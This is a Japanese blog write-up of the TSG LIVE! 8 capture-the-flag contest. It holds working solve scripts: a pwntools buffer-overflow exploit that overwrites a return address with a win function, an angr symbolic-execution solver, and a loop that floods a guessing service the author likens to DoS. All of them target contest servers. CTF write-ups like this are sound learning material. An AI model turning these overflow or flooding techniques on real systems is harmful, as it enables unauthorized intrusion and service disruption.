TSG LIVE! 8 CTF writeup
about
TSG LIVE! 8 CTFに「やきとりやさん」として参加し,最終的には8位でした.
Pwn
bpxover
シンプルなbof
from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chall.live.ctf.tsg.ne.jp', 30006)
pad = b'a' * 0x28
payload = pad + pack(e.sym['win'])
io.sendline(payload)
io.interactive()
TSGの問題なのでビビっていたが,これは普通の問題だった.FB取れたかわからない.
Rev
DNS ROPOB
他のPwn見て唸っていたので,問題一覧見たらROPOBって書いてあってびっくりしてすぐ落とした.
入力値のチェックをするようなRev問解く時はとりあえずangrを回してからバイナリを読むので,いつものsnipetで回してから読もうと思ったらangrが先に解いてくれていた.
多分非想定解法でFB
import angr
import logging
logging.getLogger("angr").setLevel("CRITICAL")
angr.manager.l.setLevel("CRITICAL")
proj = angr.Project("dns_ropob")
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"correct!" in s.posix.dumps(1), avoid=lambda s: b"wrong!" in s.posix.dumps(1))
if len(simgr.found) > 0:
print(simgr.found[0].posix.dumps(0).decode("utf-8", "ignore"))
exit(0)
else:
print('not found')
Misc
guess
guessが苦手なのでDoSみたいな事しちゃったらなぜか解けた
#!/usr/bin/env python3
from pwn import *
import subprocess
binfile = 'guess'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chall.live.ctf.tsg.ne.jp', 21234)
pw = subprocess.run("pwgen 50000 -s -1 -N1|tail -c 20", shell=True, stdout=subprocess.PIPE).stdout
io.sendlineafter(b':', pw)
while True:
print(io.readline().decode(), end='')
print(io.readline().decode(), end='')
io.sendline(pw)
subprocess
の使い方も怪しい
まとめ
ROPOBのFB取れたのは嬉しかったけど非想定解法だと思うので,後でバイナリ読みます.
Comments